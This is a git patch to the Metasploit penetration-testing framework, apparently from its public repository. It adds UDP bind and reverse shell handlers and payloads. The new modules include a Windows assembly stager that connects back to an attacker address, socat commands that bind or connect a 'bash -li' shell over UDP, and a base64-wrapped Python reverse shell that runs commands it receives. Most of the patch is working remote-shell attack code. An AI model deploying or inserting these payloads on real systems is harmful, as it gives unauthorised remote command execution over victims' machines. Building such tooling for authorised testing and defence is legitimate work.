From aecc1f143ffffdbc1ebfaf2d80c4f7216fe8009c Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Tue, 13 Feb 2018 14:50:09 -0600 Subject: [PATCH] Land #7699, Add UDP handlers and payloads (redux) --- lib/msf/core/handler/bind_udp.rb | 208 ++++++++++++++ lib/msf/core/handler/reverse_udp.rb | 264 ++++++++++++++++++ lib/msf/core/payload/transport_config.rb | 6 + lib/msf/core/payload/windows/reverse_udp.rb | 175 ++++++++++++ lib/msf/core/session/interactive.rb | 4 +- .../singles/cmd/unix/bind_socat_udp.rb | 51 ++++ .../singles/cmd/unix/reverse_socat_udp.rb | 51 ++++ .../singles/python/shell_reverse_udp.rb | 69 +++++ .../payloads/stagers/windows/reverse_udp.rb | 43 +++ spec/modules/payloads_spec.rb | 109 +++++++- 10 files changed, 977 insertions(+), 3 deletions(-) create mode 100644 lib/msf/core/handler/bind_udp.rb create mode 100644 lib/msf/core/handler/reverse_udp.rb create mode 100644 lib/msf/core/payload/windows/reverse_udp.rb create mode 100644 modules/payloads/singles/cmd/unix/bind_socat_udp.rb create mode 100644 modules/payloads/singles/cmd/unix/reverse_socat_udp.rb create mode 100644 modules/payloads/singles/python/shell_reverse_udp.rb create mode 100644 modules/payloads/stagers/windows/reverse_udp.rb diff --git a/lib/msf/core/handler/bind_udp.rb b/lib/msf/core/handler/bind_udp.rb new file mode 100644 index 0000000000..a5e9f57436 --- /dev/null +++ b/lib/msf/core/handler/bind_udp.rb @@ -0,0 +1,208 @@ +# -*- coding: binary -*- +module Msf +module Handler + +### +# +# This module implements the Bind TCP handler. This means that +# it will attempt to connect to a remote host on a given port for a period of +# time (typically the duration of an exploit) to see if a the payload has +# started listening. This can tend to be rather verbose in terms of traffic +# and in general it is preferable to use reverse payloads. +# +### +module BindUdp + + include Msf::Handler + + # + # Returns the handler specific string representation, in this case + # 'bind_tcp'. + # + def self.handler_type + return "bind_udp" + end + + # + # Returns the connection oriented general handler type, in this case bind. + # + def self.general_handler_type + "bind" + end + + # + # Initializes a bind handler and adds the options common to all bind + # payloads, such as local port. + # + def initialize(info = {}) + super + + register_options( + [ + Opt::LPORT(4444), + OptAddress.new('RHOST', [false, 'The target address', '']), + ], Msf::Handler::BindUdp) + + self.conn_threads = [] + self.listener_threads = [] + self.listener_pairs = {} + end + + # + # Kills off the connection threads if there are any hanging around. + # + def cleanup_handler + # Kill any remaining handle_connection threads that might + # be hanging around + conn_threads.each { |thr| + thr.kill + } + end + + # + # Starts a new connecting thread + # + def add_handler(opts={}) + + # Merge the updated datastore values + opts.each_pair do |k,v| + datastore[k] = v + end + + # Start a new handler + start_handler + end + + # + # Starts monitoring for an outbound connection to become established. + # + def start_handler + + # Maximum number of seconds to run the handler + ctimeout = 150 + + # Maximum number of seconds to await initial udp response + rtimeout = 5 + + if (exploit_config and exploit_config['active_timeout']) + ctimeout = exploit_config['active_timeout'].to_i + end + + # Take a copy of the datastore options + rhost = datastore['RHOST'] + lport = datastore['LPORT'] + + # Ignore this if one of the required options is missing + return if not rhost + return if not lport + + # Only try the same host/port combination once + phash = rhost + ':' + lport.to_s + return if self.listener_pairs[phash] + self.listener_pairs[phash] = true + + # Start a new handling thread + self.listener_threads << framework.threads.spawn("BindUdpHandlerListener-#{lport}", false) { + client = nil + + print_status("Started bind handler") + + if (rhost == nil) + raise ArgumentError, + "RHOST is not defined; bind stager cannot function.", + caller + end + + stime = Time.now.to_i + + while (stime + ctimeout > Time.now.to_i) + begin + client = Rex::Socket::Udp.create( + 'PeerHost' => rhost, + 'PeerPort' => lport.to_i, + 'Proxies' => datastore['Proxies'], + 'Context' => + { + 'Msf' => framework, + 'MsfPayload' => self, + 'MsfExploit' => assoc_exploit + }) + rescue Rex::ConnectionRefused + # Connection refused is a-okay + rescue ::Exception + wlog("Exception caught in bind handler: #{$!.class} #{$!}") + end + + client.extend(Rex::IO::Stream) + begin + # If a connection was acknowledged, request a basic response before promoting as a session + if client + message = 'syn' + client.write("echo #{message}\n") + response = client.get(rtimeout) + break if response && response.include?(message) + client.close() + client = nil + end + rescue Errno::ECONNREFUSED + client.close() + client = nil + wlog("Connection failed in udp bind handler continuing attempts: #{$!.class} #{$!}") + end + + # Wait a second before trying again + Rex::ThreadSafe.sleep(0.5) + end + + # Valid client connection? + if (client) + # Increment the has connection counter + self.pending_connections += 1 + + # Timeout and datastore options need to be passed through to the client + opts = { + :datastore => datastore, + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i, + :udp_session => true + } + + # Start a new thread and pass the client connection + # as the input and output pipe. Client's are expected + # to implement the Stream interface. + conn_threads << framework.threads.spawn("BindUdpHandlerSession", false, client) { |client_copy| + begin + handle_connection(client_copy, opts) + rescue + elog("Exception raised from BindUdp.handle_connection: #{$!}") + end + } + else + wlog("No connection received before the handler completed") + end + } + end + + # + # Nothing to speak of. + # + def stop_handler + # Stop the listener threads + self.listener_threads.each do |t| + t.kill + end + self.listener_threads = [] + self.listener_pairs = {} + end + +protected + + attr_accessor :conn_threads # :nodoc: + attr_accessor :listener_threads # :nodoc: + attr_accessor :listener_pairs # :nodoc: +end + +end +end diff --git a/lib/msf/core/handler/reverse_udp.rb b/lib/msf/core/handler/reverse_udp.rb new file mode 100644 index 0000000000..2f283da025 --- /dev/null +++ b/lib/msf/core/handler/reverse_udp.rb @@ -0,0 +1,264 @@ +# -*- coding: binary -*- +require 'rex/socket' +require 'thread' + +module Msf +module Handler + +### +# +# This module implements the reverse TCP handler. This means +# that it listens on a port waiting for a connection until +# either one is established or it is told to abort. +# +# This handler depends on having a local host and port to +# listen on. +# +### +module ReverseUdp + + include Msf::Handler + + # + # Returns the string representation of the handler type, in this case + # 'reverse_tcp'. + # + def self.handler_type + return "reverse_udp" + end + + # + # Returns the connection-described general handler type, in this case + # 'reverse'. + # + def self.general_handler_type + "reverse" + end + + # + # Initializes the reverse TCP handler and ads the options that are required + # for all reverse TCP payloads, like local host and local port. + # + def initialize(info = {}) + super + + register_options( + [ + Opt::LHOST, + Opt::LPORT(4444) + ], Msf::Handler::ReverseUdp) + + # XXX: Not supported by all modules + register_advanced_options( + [ + OptInt.new('ReverseConnectRetries', [ true, 'The number of connection attempts to try before exiting the process', 5 ]), + OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), + OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]), + OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), + OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false]) + ], Msf::Handler::ReverseUdp) + + self.conn_threads = [] + end + + # + # Starts the listener but does not actually attempt + # to accept a connection. Throws socket exceptions + # if it fails to start the listener. + # + def setup_handler + ex = false + + comm = case datastore['ReverseListenerComm'].to_s + when "local"; ::Rex::Socket::Comm::Local + when /\A[0-9]+\Z/; framework.sessions[datastore['ReverseListenerComm'].to_i] + else; nil + end + unless comm.is_a? ::Rex::Socket::Comm + comm = nil + end + + local_port = bind_port + addrs = bind_address + + addrs.each { |ip| + begin + + self.listener_sock = Rex::Socket::Udp.create( + 'LocalHost' => ip, + 'LocalPort' => local_port, + 'Comm' => comm, + 'Context' => + { + 'Msf' => framework, + 'MsfPayload' => self, + 'MsfExploit' => assoc_exploit + }) + + ex = false + + comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip ) + comm_used = Rex::Socket::Comm::Local if comm_used == nil + + if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) ) + via = "via the #{comm_used.type} on session #{comm_used.sid}" + else + via = "" + end + + print_status("Started reverse handler on #{ip}:#{local_port} #{via}") + break + rescue + ex = $! + print_error("Handler failed to bind to #{ip}:#{local_port}") + end + } + raise ex if (ex) + end + + # + # Closes the listener socket if one was created. + # + def cleanup_handler + stop_handler + + # Kill any remaining handle_connection threads that might + # be hanging around + conn_threads.each { |thr| + thr.kill rescue nil + } + end + + # + # Starts monitoring for an inbound connection. + # + def start_handler + queue = ::Queue.new + + local_port = bind_port + + self.listener_thread = framework.threads.spawn("ReverseUdpHandlerListener-#{local_port}", false, queue) { |lqueue| + loop do + # Accept a client connection + begin + inbound, peerhost, peerport = self.listener_sock.recvfrom + next if peerhost.nil? + cli_opts = { + 'PeerPort' => peerport, + 'PeerHost' => peerhost, + 'LocalPort' => self.listener_sock.localport, + 'Comm' => self.listener_sock.respond_to?(:comm) ? self.listener_sock.comm : nil + } + + # unless ['::', '0.0.0.0'].any? {|alladdr| self.listener_sock.localhost == alladdr } + # cli_opts['LocalHost'] = self.listener_sock.localhost + # end + + client = Rex::Socket.create_udp(cli_opts) + client.extend(Rex::IO::Stream) + if ! client + wlog("ReverseUdpHandlerListener-#{local_port}: No client received in call to accept, exiting...") + break + end + + self.pending_connections += 1 + lqueue.push([client,inbound]) + rescue ::Exception + wlog("ReverseUdpHandlerListener-#{local_port}: Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") + break + end + end + } + + self.handler_thread = framework.threads.spawn("ReverseUdpHandlerWorker-#{local_port}", false, queue) { |cqueue| + loop do + begin + client, inbound = cqueue.pop + + if ! client + elog("ReverseUdpHandlerWorker-#{local_port}: Queue returned an empty result, exiting...") + break + end + + # Timeout and datastore options need to be passed through to the client + opts = { + :datastore => datastore, + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i, + :udp_session => inbound + } + + if datastore['ReverseListenerThreaded'] + self.conn_threads << framework.threads.spawn("ReverseUdpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { |client_copy| + handle_connection(client_copy, opts) + } + else + handle_connection(client, opts) + end + rescue ::Exception + elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}") + end + end + } + + end + + # + # Stops monitoring for an inbound connection. + # + def stop_handler + # Terminate the listener thread + if (self.listener_thread and self.listener_thread.alive? == true) + self.listener_thread.kill + self.listener_thread = nil + end + + # Terminate the handler thread + if (self.handler_thread and self.handler_thread.alive? == true) + self.handler_thread.kill + self.handler_thread = nil + end + + if (self.listener_sock) + self.listener_sock.close + self.listener_sock = nil + end + end + +protected + + def bind_port + port = datastore['ReverseListenerBindPort'].to_i + port > 0 ? port : datastore['LPORT'].to_i + end + + def bind_address + # Switch to IPv6 ANY address if the LHOST is also IPv6 + addr = Rex::Socket.resolv_nbo(datastore['LHOST']) + # First attempt to bind LHOST. If that fails, the user probably has + # something else listening on that interface. Try again with ANY_ADDR. + any = (addr.length == 4) ? "0.0.0.0" : "::0" + + addrs = [ Rex::Socket.addr_ntoa(addr), any ] + + if not datastore['ReverseListenerBindAddress'].to_s.empty? + # Only try to bind to this specific interface + addrs = [ datastore['ReverseListenerBindAddress'] ] + + # Pick the right "any" address if either wildcard is used + addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0") + end + + addrs + end + + attr_accessor :listener_sock # :nodoc: + attr_accessor :listener_thread # :nodoc: + attr_accessor :handler_thread # :nodoc: + attr_accessor :conn_threads # :nodoc: +end + +end +end diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb index 678d3b305f..0e9d877bfd 100644 --- a/lib/msf/core/payload/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -17,6 +17,12 @@ module Msf::Payload::TransportConfig config end + def transport_config_reverse_udp(upts={}) + config =transport_config_reverse_tcp(opts) + config[:scheme] = 'udp' + config + end + def transport_config_reverse_ipv6_tcp(opts={}) ds = opts[:datastore] || datastore config = transport_config_reverse_tcp(opts) diff --git a/lib/msf/core/payload/windows/reverse_udp.rb b/lib/msf/core/payload/windows/reverse_udp.rb new file mode 100644 index 0000000000..5d9aa830de --- /dev/null +++ b/lib/msf/core/payload/windows/reverse_udp.rb @@ -0,0 +1,175 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/reverse_tcp' + +module Msf + +### +# +# Complex reverse_udp payload generation for Windows ARCH_X86 +# +### + +module Payload::Windows::ReverseUdp + + include Msf::Payload::TransportConfig + include Msf::Payload::Windows::ReverseTcp + + # + # Generate the first stage + # + def generate + conf = { + port: datastore['LPORT'], + host: datastore['LHOST'], + retry_count: datastore['ReverseConnectRetries'], + reliable: false + } + + # Generate the advanced stager if we have space + unless self.available_space.nil? || required_space > self.available_space + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:reliable] = true + end + + generate_reverse_udp(conf) + end + + def transport_config(opts={}) + transport_config_reverse_udp(opts) + end + + # + # Generate and compile the stager + # + def generate_reverse_udp(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop ebp + #{asm_reverse_udp(opts)} + #{asm_block_recv(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [Fixnum] :retry_count Number of retry attempts + # + def asm_reverse_udp(opts={}) + + retry_count = [opts[:retry_count].to_i, 1].max + encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first + encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first + + asm = %Q^ + ; Input: EBP must be the address of 'api_call'. + ; Output: EDI will be the socket for the connection to the server + ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) + + reverse_udp: + push '32' ; Push the bytes 'ws2_32',0,0 onto the stack. + push 'ws2_' ; ... + push esp ; Push a pointer to the "ws2_32" string on the stack. + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call ebp ; LoadLibraryA( "ws2_32" ) + + mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) + sub esp, eax ; alloc some space for the WSAData structure + push esp ; push a pointer to this stuct + push eax ; push the wVersionRequested parameter + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} + call ebp ; WSAStartup( 0x0190, &WSAData ); + + set_address: + push #{retry_count} ; retry counter + + create_socket: + push #{encoded_host} ; host in little-endian format - #{opts[:host]} + push #{encoded_port} ; family AF_INET and port number - #{opts[:port]} + mov esi, esp ; save pointer to sockaddr struct + + push eax ; if we succeed, eax will be zero, push zero for the flags param. + push eax ; push null for reserved parameter + push eax ; we do not specify a WSAPROTOCOL_INFO structure + push eax ; we do not specify a protocol + inc eax ; + inc eax ; + push eax ; push SOCK_DGRAM (UDP socket) + push eax ; push AF_INET + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} + call ebp ; WSASocketA( AF_INET, SOCK_DGRAM, 0, 0, 0, 0 ); + xchg edi, eax ; save the socket for later, don't care about the value of eax after this + + try_connect: + push 16 ; length of the sockaddr struct + push esi ; pointer to the sockaddr struct + push edi ; the socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')} + call ebp ; connect( s, &sockaddr, 16 ); + + test eax,eax ; non-zero means a failure + jz connected + + handle_connect_failure: + ; decrement our attempt count and try again + dec [esi+8] + jnz try_connect + ^ + + if opts[:exitfunk] + asm << %Q^ + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + ^ + end + + asm << %Q^ + ; this lable is required so that reconnect attempts include + ; the UUID stuff if required. + connected: + ^ + + # UDP receivers need to read something from the new socket + if include_send_uuid + asm << asm_send_uuid + else + asm << asm_send_newline + end + + asm + end + + def asm_send_newline + newline = raw_to_db "\n" + asm =%Q^ + send_newline: + push 0 ; flags + push #{newline.length} ; length of the newline + call get_nl_address ; put newline buffer on the stack + db #{newline} ; newline + get_nl_address: + push edi ; saved socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')} + call ebp ; call send + ^ + asm + end + +end + +end diff --git a/lib/msf/core/session/interactive.rb b/lib/msf/core/session/interactive.rb index a866913aa4..ed2157c970 100644 --- a/lib/msf/core/session/interactive.rb +++ b/lib/msf/core/session/interactive.rb @@ -26,7 +26,8 @@ module Interactive # A nil is passed in the case of non-stream interactive sessions (Meterpreter) if rstream self.rstream = rstream - self.ring = Rex::IO::RingBuffer.new(rstream, {:size => opts[:ring_size] || 100 }) + klass = opts[:udp_session] ? Rex::IO::RingBufferUdp : Rex::IO::RingBuffer + self.ring = klass.new(rstream, {:size => opts[:ring_size] || 100 }) end super() end @@ -151,4 +152,3 @@ end end end - diff --git a/modules/payloads/singles/cmd/unix/bind_socat_udp.rb b/modules/payloads/singles/cmd/unix/bind_socat_udp.rb new file mode 100644 index 0000000000..e8bb0b4aea --- /dev/null +++ b/modules/payloads/singles/cmd/unix/bind_socat_udp.rb @@ -0,0 +1,51 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/bind_udp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module MetasploitModule + + CachedSize = 70 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Bind UDP (via socat)', + 'Description' => 'Creates an interactive shell via socat', + 'Author' => 'RageLtMan ', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::BindUdp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'socat', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + "socat udp-listen:#{datastore['LPORT']} exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &" + end + +end diff --git a/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb b/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb new file mode 100644 index 0000000000..68558ae055 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb @@ -0,0 +1,51 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_udp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module MetasploitModule + + CachedSize = 87 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse UDP (via socat)', + 'Description' => 'Creates an interactive shell via socat', + 'Author' => 'RageLtMan ', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseUdp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'socat', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + "socat udp-connect:#{datastore['LHOST']}:#{datastore['LPORT']} exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &" + end + +end diff --git a/modules/payloads/singles/python/shell_reverse_udp.rb b/modules/payloads/singles/python/shell_reverse_udp.rb new file mode 100644 index 0000000000..366f9f213e --- /dev/null +++ b/modules/payloads/singles/python/shell_reverse_udp.rb @@ -0,0 +1,69 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_udp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module MetasploitModule + + CachedSize = 397 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Command Shell, Reverse UDP (via python)', + 'Description' => 'Creates an interactive shell via python, encodes with base64 by design. Compatible with Python 2.3.3', + 'Author' => 'RageLtMan ', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseUdp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'python', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = '' + dead = Rex::Text.rand_text_alpha(2) + # Set up the socket + cmd << "import socket,os\n" + cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\n" + cmd << "so.connect(('#{datastore['LHOST']}',#{ datastore['LPORT']}))\n" + # The actual IO + cmd << "#{dead}=False\n" + cmd << "while not #{dead}:\n" + cmd << "\tdata=so.recv(1024)\n" + cmd << "\tif len(data)==0:\n\t\t#{dead}=True\n" + cmd << "\tstdin,stdout,stderr,=os.popen3(data)\n" + cmd << "\tstdout_value=stdout.read()+stderr.read()\n" + cmd << "\tso.send(stdout_value)\n" + + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" + + cmd + end + +end + diff --git a/modules/payloads/stagers/windows/reverse_udp.rb b/modules/payloads/stagers/windows/reverse_udp.rb new file mode 100644 index 0000000000..c3198f385c --- /dev/null +++ b/modules/payloads/stagers/windows/reverse_udp.rb @@ -0,0 +1,43 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core/handler/reverse_udp' +require 'msf/core/payload/windows/reverse_udp' + +module MetasploitModule + + CachedSize = 299 + + include Msf::Payload::Stager + include Msf::Payload::Windows::ReverseUdp + + def self.handler_type_alias + 'reverse_udp' + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse UDP Stager with UUID Support', + 'Description' => 'Connect back to the attacker with UUID Support', + 'Author' => 'RageLtMan ', + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseUdp, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => false } + )) + end + + # + # Override the uuid function and opt-in for sending the + # UUID in the stage. + # + def include_send_uuid + false + end + +end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index a2761d4ecf..7496738a73 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -578,6 +578,16 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'cmd/unix/bind_nodejs' end + context 'cmd/unix/bind_socat_udp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_socat_udp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_socat_udp' + end + context 'cmd/unix/bind_perl' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -768,6 +778,16 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'cmd/unix/reverse_openssl' end + context 'cmd/unix/reverse_socat_udp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_socat_udp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_socat_udp' + end + context 'cmd/unix/reverse_perl' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -1236,7 +1256,7 @@ RSpec.describe 'modules/payloads', :content do end - context 'linux/armbe/shell_bind_tcp' do + context 'linux/armbe/shell_bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ 'singles/linux/armbe/shell_bind_tcp' @@ -2460,6 +2480,16 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'python/shell_reverse_tcp_ssl' end + context 'python/shell_reverse_udp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/python/shell_reverse_udp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'python/shell_reverse_udp' + end + context 'ruby/shell_bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -2756,6 +2786,17 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'windows/dllinject/reverse_tcp_rc4_dns' end + context 'windows/dllinject/reverse_udp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/reverse_udp', + 'stages/windows/dllinject' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/reverse_udp' + end + context 'windows/dns_txt_query_exec' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3108,6 +3149,17 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'windows/meterpreter/reverse_tcp_uuid' end + context 'windows/meterpreter/reverse_udp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/reverse_udp', + 'stages/windows/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_udp' + end + context 'windows/metsvc_bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3271,6 +3323,17 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'windows/patchupdllinject/reverse_tcp_rc4_dns' end + context 'windows/patchupdllinject/reverse_udp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/reverse_udp', + 'stages/windows/patchupdllinject' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/reverse_udp' + end + context 'windows/patchupmeterpreter/bind_ipv6_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3414,6 +3477,17 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'windows/patchupmeterpreter/reverse_tcp_rc4_dns' end + context 'windows/patchupmeterpreter/reverse_udp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/reverse_udp', + 'stages/windows/patchupmeterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/reverse_udp' + end + context 'windows/shell/bind_ipv6_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3557,6 +3631,17 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'windows/shell/reverse_tcp_rc4_dns' end + context 'windows/shell/reverse_udp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/reverse_udp', + 'stages/windows/shell' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/shell/reverse_udp' + end + context 'windows/shell_bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3750,6 +3835,17 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'windows/upexec/reverse_tcp_rc4_dns' end + context 'windows/upexec/reverse_udp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/reverse_udp', + 'stages/windows/upexec' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/reverse_udp' + end + context 'windows/vncinject/bind_ipv6_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3893,6 +3989,17 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'windows/vncinject/reverse_tcp_rc4_dns' end + context 'windows/vncinject/reverse_udp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/reverse_udp', + 'stages/windows/vncinject' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/reverse_udp' + end + context 'windows/x64/exec' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [